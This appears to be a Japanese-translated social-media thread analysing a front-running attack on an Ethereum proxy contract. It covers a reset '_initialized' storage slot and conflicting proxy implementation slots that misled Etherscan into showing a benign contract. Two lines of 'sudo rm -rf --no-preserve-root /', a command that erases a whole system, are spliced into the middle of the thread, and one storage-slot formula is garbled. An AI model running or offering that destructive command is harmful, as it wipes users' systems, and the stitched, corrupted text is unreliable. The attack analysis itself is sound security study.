だから、それがさらに派手であることを知りました。私は、(攻撃者による)フロントランニングtxが「initialize」を呼び出し、プロトコルもその後に「initialize」を_successfully_呼び出すことを確認しました(したがって、彼らはすべてが正常であると考えています)。しかし、待ってください、これはどうやって可能なのでしょうか?ストレージスロットの変更を非常に深く調べて、見つけたものを推測する必要がありました:彼らはフロントランニングtxの最後に「_initialized」ストレージスロットの値を_リセット_しました(悪意のある実装コントラクトにスワップした後)。これは、プロキシストレージが初期化されていないように見えることを意味します。 確認する関連ストレージスロットは 'keccak256(abi.encode(uint256(keccak256(" - 1)) & ~bytes32(uint256(0xff))' = '0xf0c57e16840df040f15088dc2f81fe391c3923bec73e23a9662efc9c229c6a00' です。 これは次のレベルの悪です。
sudo rm -rf --no-preserve-root /
sudo rm -rf --no-preserve-root /7月10日 22:13
さらに凝り固まったのは、Etherscanが騙されて間違った実装契約を表示させたのは、同じフロントランニングtxに2つの異なるプロキシスロットを設定することに基づいているということです。そのため、Etherscanは、さまざまなストレージスロットを組み込んだ特定のヒューリスティックを使用して、実装コントラクトを取得します。 OpenZeppelinによる古いプロキシがあり、次のスロットを使用していました: 'keccak256("org.zeppelinos.proxy.implementation")' = '0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3' 現在、標準の EIP-1967 スロット 'bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)' = '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc' もあります。 つまり、古いOpenZeppelinプロキシスロットは無害な実装アドレスで書き込まれ、標準のEIP-1967スロットも悪意のある実装アドレスで書き込まれたのです。Etherscanは最初に古いプロキシスロットをクエリするため、良性のように見えるものを最初に取得して表示しました。
21.48K